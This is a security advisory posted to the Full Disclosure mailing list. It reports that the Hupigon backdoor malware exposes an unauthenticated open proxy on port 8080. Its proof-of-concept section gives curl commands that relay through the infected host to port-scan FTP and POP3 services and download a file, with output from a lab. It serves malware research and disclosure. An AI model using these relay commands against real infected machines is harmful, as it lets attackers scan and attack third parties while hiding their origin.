full-disclosure - [FD] Backdoor.Win32.Hupigon.abe / Unauthenticated Open Proxy

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Date: Mon, 30 Aug 2021 21:58:03 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Hupigon.abe / Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/5d7908e7e95d0eb4a7351d24605e62a6.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.abe
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080.  Third-party attackers
who can connect to the infected system can relay requests from the original
connection to the destination and then back to the origination system.
Attackers may then be able to launch attacks, download files or port scan
third party systems and it will appear as the attacks originated from that
infected host.
Type: PE32
MD5: 5d7908e7e95d0eb4a7351d24605e62a6
Vuln ID: MVID-2021-0322
Dropped files: cn.exe
Disclosure: 08/30/2021

Exploit/PoC:
Scan ports)

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <17900.1630346994@...3host>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" --out
DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01
 255k

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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